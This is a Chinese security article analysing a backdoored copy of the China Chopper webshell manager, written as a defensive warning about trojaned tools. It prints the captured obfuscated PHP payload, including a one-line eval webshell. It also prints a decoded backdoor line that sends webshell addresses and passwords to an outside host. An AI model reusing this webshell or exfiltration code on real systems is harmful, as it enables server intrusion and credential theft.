原创作者:simeon
http://www.freebuf.com/articles/system/93323.html
0×00 前言
我国有一句古话“常在河边走,哪有不湿鞋”,互联网上流传的工具很多是带有后门的,例如SSH Secure Client就曾被曝留有后门(Putty汉化版被爆存在后门 可窃取管理员帐号),在工具中留后门,那么就可以源源不断的获取“活的”攻击者、管理员等提交登录的帐号和密码,获取服务器和webshell等权限,那么在著名的webshell管理工具中国菜刀会不会留有后门呢?请看参考本文的分析,亲自操作一把就知道了!
0×01 菜刀简介
软件名称:中国菜刀(China chopper),中国菜刀,不是原来切菜做饭的道具,而是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理!程序大小:214K,在非简体中文环境下使用,自动切换到英文界面。UINCODE方式编译,支持多国语言输入显示。
官方网站:www.maicaidao.com,官方于2014年停止对外提供服务,最终版本下载地址为http://bbs.mgame.baidu.com/data/attachment/forum/201305/31/index.zip
0×02 实验准备环境
(1)在本机安装ComsenzEXP,下载地址:http://www.comsenz.com/downloads/install/exp
(2)在ComsenzEXP安装目录的wwwroot下面新建一句话后门php文件。
(3)WSockExpert_Cn程序
(4)encode程序
(5)带有后门的chopper程序一套
0×03 分析并获取后门过程
(1)新建一条中国菜刀记录
在中国菜刀中新建一条记录,加入一句话后门地址“http://127.0.0.1/1.php”密码为“x”,如图1所示。
图1新建webshell管理记录
(2)设置WSockExpert抓包软件
打开WSockExpert软件,也可以选择其它抓包软件,选择需要监听的程序(打开文件夹那个图标按钮),在本例中选择“中国菜刀”,如图2所示,设置完成后WSockExpert开始对中国菜刀进行监听并获取其通信过程的包等数据。
图2设置WSockExpert抓包软件
(3)使用中国菜刀打开webshell
在中国菜刀中打开webshell记录http://127.0.0.1/1.php,如图3所示,可以对webshell所在的计算机上浏览、删除、上传等文件操作。
图3打开webshell
(4)获取抓包数据
在WSockExpert软件窗口可以看到抓取的数据包记录,在其中选择第二条记录,如图4所示,将数据包的内容复制,其内容如下:
x=%24_%3Dstrrev%28edoced_46esab%29%3B%40eval%28%24_%28%24_POST%5Bz0%5D%29%29%3B&z0=QGV2YWwoYmFzZTY0X2RlY29kZSgnYVdZb0pGOURUMDlMU1VWYkoweDVhMlVuWFNFOU1TbDdjMlYwWTI5dmEybGxLQ2RNZVd0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZDNkeTVoY0drdVkyOXRMbVJsTDBGd2FTNXdhSEEvVlhKc1BTY3VKRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlSZlUwVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGemN6MG5MbXRsZVNna1gxQlBVMVFwS1R0OScpKTtAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwIik7QHNldF90aW1lX2xpbWl0KDApO0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7ZWNobygiLT58Iik7OyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9XHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO30kUi49Ilx0IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk%2FJHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7
以上代码中包含url编码,无法看出什么。
图4查看数据包
(5)对url数据进行解包
将上面获取的数据复制到Encode中,如图5所示,选择“URI”类型,单击“Decoder”进行解码;单击“Encoder”按钮对输入框中的内容进行编码。
图5对url数据进行解码
解码后的数据变为:
x=$_=strrev(edoced_46esab);@eval($_($_POST[z0]));&z0=QGV2YWwoYmFzZTY0X2RlY29kZSgnYVdZb0pGOURUMDlMU1VWYkoweDVhMlVuWFNFOU1TbDdjMlYwWTI5dmEybGxLQ2RNZVd0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZDNkeTVoY0drdVkyOXRMbVJsTDBGd2FTNXdhSEEvVlhKc1BTY3VKRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlSZlUwVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGemN6MG5MbXRsZVNna1gxQlBVMVFwS1R0OScpKTtAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwIik7QHNldF90aW1lX2xpbWl0KDApO0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7ZWNobygiLT58Iik7OyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9XHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO30kUi49Ilx0IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk/JHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7
将解码后的“z0=”后面的数据复制到Encode输入框中,选择base64解码,如图6所示,获取第一次base64解码后的数据,在标红的部分还存在base64加密。
@eval(base64_decode(039;aWYoJF9DT09LSUVbJ0x5a2UnXSE9MSl7c2V0Y29va2llKCdMeWtlJywxKTtAZmlsZSgnaHR0cDovL3d3dy5hcGkuY29tLmRlL0FwaS5waHA/VXJsPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLicmUGFzcz0nLmtleSgkX1BPU1QpKTt9039;));@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z")
as
$L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists(039;posix_getegid039;))?@posix_getpwuid(@posix_geteuid()):039;039;;$usr=($u)?$u[039;name039;]:@get_current_user();$R.=php_uname();$R.="({$usr})";print
$R;;echo("|<-");die();
图6第一次base64解码
将上面标红的部分的base64加密代码复制到Encode程序输入框中,选择base64进行Decode,如图7所示,获取其后门地址代码:
if($_COOKIE[039;Lyke039;]!=1){setcookie(039;Lyke039;,1);@file(039;http://www.api.com.de
/Api.php?Url=039;.$_SERVER[039;HTTP_HOST039;].$_SERVER[039;REQUEST_URI039;].039;&
Pass=039;.key($_POST));},
其中
http://www.api.com.de/Api.php?Url='.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'&Pass='.key($_POST)
为后门接收地址,在黑客打开webshell时会自动将shell地址和密码发送到网站www.api.com.de。
图7获取后门地址
0×04 后记
通过上面的分析,可以了解到中国菜刀被留后门,用户在使用该工具过程中会自动将webshell记录发送到指定网站进行接收。因此在网上下载的工具,一定要留一个心眼,最好将其放在虚拟机中运行,尽量到官方发布的网站进行下载。
参考文章:
1. Fireeye技术剖析中国菜刀
2.Putty汉化版被爆存在后门 可窃取管理员帐号
3.文章涉及工具及录像可下载地址: http://www.antian365.com/lab/project03/project03.rar